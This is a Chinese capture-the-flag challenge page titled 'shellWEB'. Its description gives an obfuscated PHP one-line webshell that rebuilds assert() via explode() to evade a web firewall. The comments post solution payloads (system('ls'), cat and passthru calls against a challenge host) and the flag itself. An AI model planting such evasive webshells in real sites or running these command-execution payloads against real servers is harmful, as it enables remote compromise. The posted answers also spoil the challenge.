shellWEB 未解决

分数: 25 金币: 3
题目作者: harry
一　　血: dotast
一血奖励: 1金币
解　　决: 7639
提　　示:
描　　述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
...
登录回复
评论
falg 2年前
举报

就是一般的命令执行，先拿到index.php然后后面?s=system("ls")查看flaga15808abee46a1d5.txt文件，接着?s=system("cat ./flaga15808abee46a1d5.txt")得到flag

回复 1
bt7274 2年前
举报

assert($_GET['s'])

回复 0
04secbug 2年前
举报

s=system('ls') s=system('cat flag')

回复 1
JJhello 2年前
举报

rnm,退钱

回复 2
wxy1343 2年前
举报

flag{5104494e7b5ec21c02e3d1c5985a4e89}

回复 0
wxy1343 2年前
举报

http://114.67.175.224:11167/index.php?s=passthru(%27cat%20flaga15808abee46a1d5.txt%27)

回复 0
我爱你制杖 2年前
举报

注意描述，explode为分搁符。绕来绕去就是：assert($_GET['s'])

回复 1
xclay 2年前
举报

这题告诉我们，学什么渗透，直接猜开发者留下的接口就可以了

回复 4
2224525664 2年前
举报

没有提示的话这题是不是就做不出来了？

回复 1
Miludear 2年前
举报

不懂语法的可直接参考 https://blog.csdn.net/changer_we/article/details/89304399 大佬的文章，很不错，简单易懂！

回复 2

WriteUp

image
harry

3 金币

立即查看

评分(10)

解题动态

jiandandian 攻破了该题 1天前
穹空丶悠远 攻破了该题 1天前
寒夜清风 攻破了该题 1天前
CD123456 攻破了该题 1天前
KamINanan 攻破了该题 2天前
xi24 攻破了该题 2天前
18171382569 攻破了该题 4天前
Jazz888 攻破了该题 5天前
雨季小朋友 攻破了该题 5天前
十里故清云 攻破了该题 6天前
gclome 攻破了该题 7天前
爆汁酸菜鱼 攻破了该题 7天前
潭影空人心 攻破了该题 7天前
2523822945 攻破了该题 7天前
qq1002517 攻破了该题 7天前
minakuu 攻破了该题 7天前
4n4n4n4n 攻破了该题 9天前
heart307 攻破了该题 10天前
15664977671 攻破了该题 10天前
frozenfish0x 攻破了该题 10天前
问题反馈